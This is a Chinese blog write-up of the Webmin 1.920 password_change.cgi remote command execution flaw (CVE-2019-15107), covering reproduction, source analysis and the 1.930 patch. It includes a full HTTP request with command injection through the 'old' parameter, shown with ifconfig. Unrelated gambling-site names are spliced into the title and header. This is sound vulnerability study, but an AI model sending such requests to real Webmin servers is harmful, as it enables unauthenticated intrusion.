亿宝娱乐Webmin <=1.920 远程命令执行漏洞 - 【CVE-2019-15107】_HUC惠仲娱乐

亿宝娱乐

0x01 漏洞复现

  • 测试版本:webmin 1.920
  • 测试环境:Ubuntu

漏洞需要开启密码重置功能。在控制界面 https://ip:10000/webmin/edit_session.cgi?xnavigation=1

等待webmin重启,配置生效。查看webmin的配置文件,可以发现passwd_mode的值已经从0变为了2

# cat /etc/webmin/miniserv.conf ... passwd_mode=2 ...

抓取到如下数据包:

POST /password_change.cgi HTTP/1.1 Host: yourip:10000 Connection: close Content-Length: 63 Cache-Control: max-age=0 Origin: https://yourip:10000 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Sec-Fetch-Site: same-origin Referer: https://yourip:10000/session_login.cgi Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: redirect=1; testing=1; sessiontest=1; sid=x  user=root&pam=1&expired=2&old=buyaoxiedaopocli&new1=buyaoxiedaopocli&new2=buyaoxiedaopocli

在参数old后加上|ifconfig 执行ifconfig命令。

如果user不存在,同样能执行命令

0x02 漏洞分析

先整体看一下入口代码,password_change.cgi的第18-31行:

# Is this a Webmin user? if (&foreign_check("acl")) {     &foreign_require("acl", "acl-lib.pl");     ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();     if ($wuser->{'pass'} eq 'x') {         # A Webmin user, but using Unix authentication         $wuser = undef;         }     elsif ($wuser->{'pass'} eq '*LK*' ||            $wuser->{'pass'} =~ /^\!/) {         &pass_error("Webmin users with locked accounts cannot change ".                     "their passwords!");         } } 

这段代码用于根据请求中的user参数来查找其值是否事webmin的用户。假设只存在一个用户是root,且user=root,那自然$wuserroot。但如果我们不知道用户名即user=xxxx,则在经过grep操作后$wuser的值仍然为undef

但是紧接着一个比较语句,这句代码会直接导致$wuser的值从undef变为{}

所以在接下来的更新密码部分,无论我们提供的user值是否是webmin的用户,都会进入到if ($wuser) {...}这条分支中。

  • user=root

  • user=noexists_user

因此接下去只需要看password_change.cgi的第37-40行:

if ($wuser) {     # Update Webmin user's password     $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});     $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);     ... } 

首先需要吐槽的是外国的这篇文章 https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html , 分析了一大堆的unix_crypt,然后突然冒出一句话说we will use "vertical bar (|)"。写的啥玩意啊,这跟RCE有啥关系???

重点看 pass_error这行代码,当密码验证不正确的时候将:

&pass_error($text{'password_eold'},qx/$in{'old'}/); 

注意$in{'old'}即参数old,而且放在了qx/.../中!

下图所指即命令执行后的结果,这是能直接回显的原因。

所以实际上无需|这些符号,直接注入即可。

顺便说个笑话,见github issue https://github.com/webmin/webmin/issues/947

0x03 补丁分析

webmin 1.930 修复了该漏洞,简单粗暴,去掉qx: